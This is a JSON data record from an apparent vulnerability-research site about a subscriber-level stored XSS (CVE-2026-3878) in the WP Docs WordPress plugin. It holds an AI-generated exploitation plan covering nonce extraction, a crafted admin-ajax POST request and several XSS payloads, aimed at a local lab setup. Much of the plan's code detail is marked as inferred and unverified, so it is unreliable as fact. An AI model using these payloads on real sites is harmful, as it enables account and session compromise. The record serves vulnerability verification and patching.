[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fptXYd9V_i0K4Tbn5HyaJCmJlBKPaho_rOuZZkFsko9c":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"source_links":33},"CVE-2026-3878","wp-docs-authenticated-subscriber-stored-cross-site-scripting-via-wpdocsoptionsiconsize","WP Docs \u003C= 2.2.9 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'wpdocs_options[icon_size]'","The WP Docs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpdocs_options[icon_size]' parameter in all versions up to, and including, 2.2.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","wp-docs",null,"\u003C=2.2.9","2.3.0","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-15 14:25:18","2026-04-16 03:36:36",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe11ecf13-0b3b-4148-abca-677652a68c24?source=api-prod",1,[22,23,24,25],"inc\u002Ffunctions.php","inc\u002Fwpdocs_settings.php","index.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-3878 - WP Docs Stored XSS\n\n## 1. Vulnerability Summary\nThe **WP Docs** plugin (up to 2.2.9) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to properly sanitize and escape the `icon_size` parameter within the `wpdocs_options` array when saving settings via an AJAX handler, and subsequently fails to escape this value when rendering it in HTML attributes (likely `style` or `class` attributes for folder\u002Ffile icons). \n\nWhile settings are typically administrative, this vulnerability is exploitable by users with **Subscriber-level access** because the AJAX handler responsible for updating these options lacks a capability check (e.g., `current_user_can('manage_options')`), relying solely on a nonce that may be obtainable or bypassed.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action:** `wpdocs_update_options` (Inferred from the nonce name `wpdocs_update_options_nonce` in `inc\u002Ffunctions.php`).\n- **Vulnerable Parameter:** `wpdocs_options[icon_size]`\n- **Authentication Level:** Subscriber or higher.\n- **Payload Type:** Attribute-based XSS (breaking out of a `style` or `width\u002Fheight` attribute).\n\n## 3. Code Flow\n1. **Registration:** The plugin registers an AJAX action (likely `wp_ajax_wpdocs_update_options`) in a part of the code not fully shown in the snippet, but confirmed by the nonce `wpdocs_update_options_nonce` localized in `inc\u002Ffunctions.php`.\n2. **Input Processing:** The handler receives the `wpdocs_options` array. It likely calls `sanitize_wpdocs_data()` (found in `inc\u002Ffunctions.php`).\n3. **Sanitization Failure:** `sanitize_wpdocs_data()` uses `sanitize_text_field($val)`. This function strips HTML tags but **does not** escape quotes or semi-colons, which are necessary to prevent attribute breakout when the value is placed inside a `style=\"...\"` attribute.\n4. **Storage:** The unsanitized value is saved to the database via `update_option('wpdocs_options', ... )`.\n5. **Output:** When a user views a page containing the WP Docs file explorer (via shortcode) or the admin settings page, the plugin retrieves the option and echoes it directly:\n   - *Example Sink:* `\u003Ci class=\"fa fa-folder\" style=\"font-size: \u003C?php echo $wpdocs_options['icon_size']; ?>;\">\u003C\u002Fi>` (No `esc_attr` or `absint` used).\n\n## 4. Nonce Acquisition Strategy\nThe nonce is localized in `inc\u002Ffunctions.php` within the `wpdocs_admin_enqueue_script` function.\n```php\nwp_localize_script(\n    'wpdocs_admin_scripts',\n    'wpdocs_ajax_object',\n    array(\n        \u002F\u002F ...\n        'nonce' => wp_create_nonce('wpdocs_update_options_nonce'),\n        \u002F\u002F ...\n    )\n);\n```\n**Strategy:**\n1. **Identify Access:** Determine if a Subscriber can access the settings page or if the script is enqueued on the frontend. The snippet shows a check: `if (isset($_GET['page']) && $_GET['page'] == 'wpdocs')`. \n2. **Bypass\u002FLeaked Nonce:** Check if the plugin enqueues this script on frontend pages where the `[wpdocs]` shortcode is present. \n3. **Execution:**\n   - Create a page with the shortcode: `wp post create --post_type=page --post_status=publish --post_content='[wpdocs]'`\n   - Navigate to that page as a Subscriber.\n   - Use `browser_eval` to extract the nonce: \n     `browser_eval(\"window.wpdocs_ajax_object?.nonce\")`\n\n## 5. Exploitation Strategy\n### Step 1: Authentication\nLogin as a Subscriber user to obtain a valid session.\n\n### Step 2: Nonce Extraction\nNavigate to a page where WP Docs is active (or try the admin dashboard) and extract the `wpdocs_update_options_nonce` from the `wpdocs_ajax_object` global variable.\n\n### Step 3: Inject Payload\nSend a POST request to `admin-ajax.php`.\n\n- **Action:** `wpdocs_update_options`\n- **Parameter:** `wpdocs_options[icon_size]`\n- **Payload:** `20px; background-image: url(\"javascript:alert(document.domain)\");` or `20px\">\u003Cscript>alert(1)\u003C\u002Fscript>`\n\n**HTTP Request via `http_request`:**\n```json\n{\n  \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n  \"method\": \"POST\",\n  \"headers\": {\n    \"Content-Type\": \"application\u002Fx-www-form-urlencoded\"\n  },\n  \"body\": \"action=wpdocs_update_options&nonce=[EXTRACTED_NONCE]&wpdocs_options[icon_size]=20px\\\">\u003Cscript>alert(window.origin)\u003C\u002Fscript>\"\n}\n```\n\n### Step 4: Trigger Execution\nNavigate to the plugin's settings page or any page displaying the document library. The injected `\u003Cscript>` tag will execute.\n\n## 6. Test Data Setup\n1. **User:** Create a subscriber user: `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`.\n2. **Plugin Setup:** Ensure the plugin is active.\n3. **Shortcode Page:** Create a page to potentially leak the nonce or view the results: `wp post create --post_title=\"Documents\" --post_content=\"[wpdocs]\" --post_status=\"publish\"`.\n\n## 7. Expected Results\n- The AJAX request should return a success status (likely `1` or a JSON success message).\n- The `wpdocs_options` option in the database should now contain the payload.\n- Upon visiting the \"Documents\" page or the admin settings, an alert box showing the origin should appear.\n\n## 8. Verification Steps\n1. **Check Database:** Use WP-CLI to verify the stored value:\n   `wp option get wpdocs_options`\n2. **Verify Output:** Inspect the HTML source of the frontend page:\n   `http_request --url http:\u002F\u002Flocalhost:8080\u002Fdocuments\u002F`\n   Search for the string: `\u003Cscript>alert(window.origin)\u003C\u002Fscript>`.\n\n## 9. Alternative Approaches\n- **If `icon_size` is filtered:** Try injecting into other keys in the `wpdocs_options` array, such as `title_size` or CSS color settings (e.g., `bg_color`), which are often handled by the same logic.\n- **If the AJAX action is different:** Search the full source for `wp_ajax_` to find the exact function handling the `wpdocs_update_options_nonce`.\n- **Bypassing `sanitize_text_field`:** If tags are stripped, focus on attribute breakout within an existing tag:\n  `20px\" onmouseover=\"alert(1)\" style=\"`","gemini-3-flash-preview","2026-04-16 15:32:32","2026-04-16 15:32:58",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","2.2.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-docs\u002Ftags\u002F2.2.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-docs.2.2.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-docs\u002Ftags\u002F2.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-docs.2.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-docs\u002Ftags"]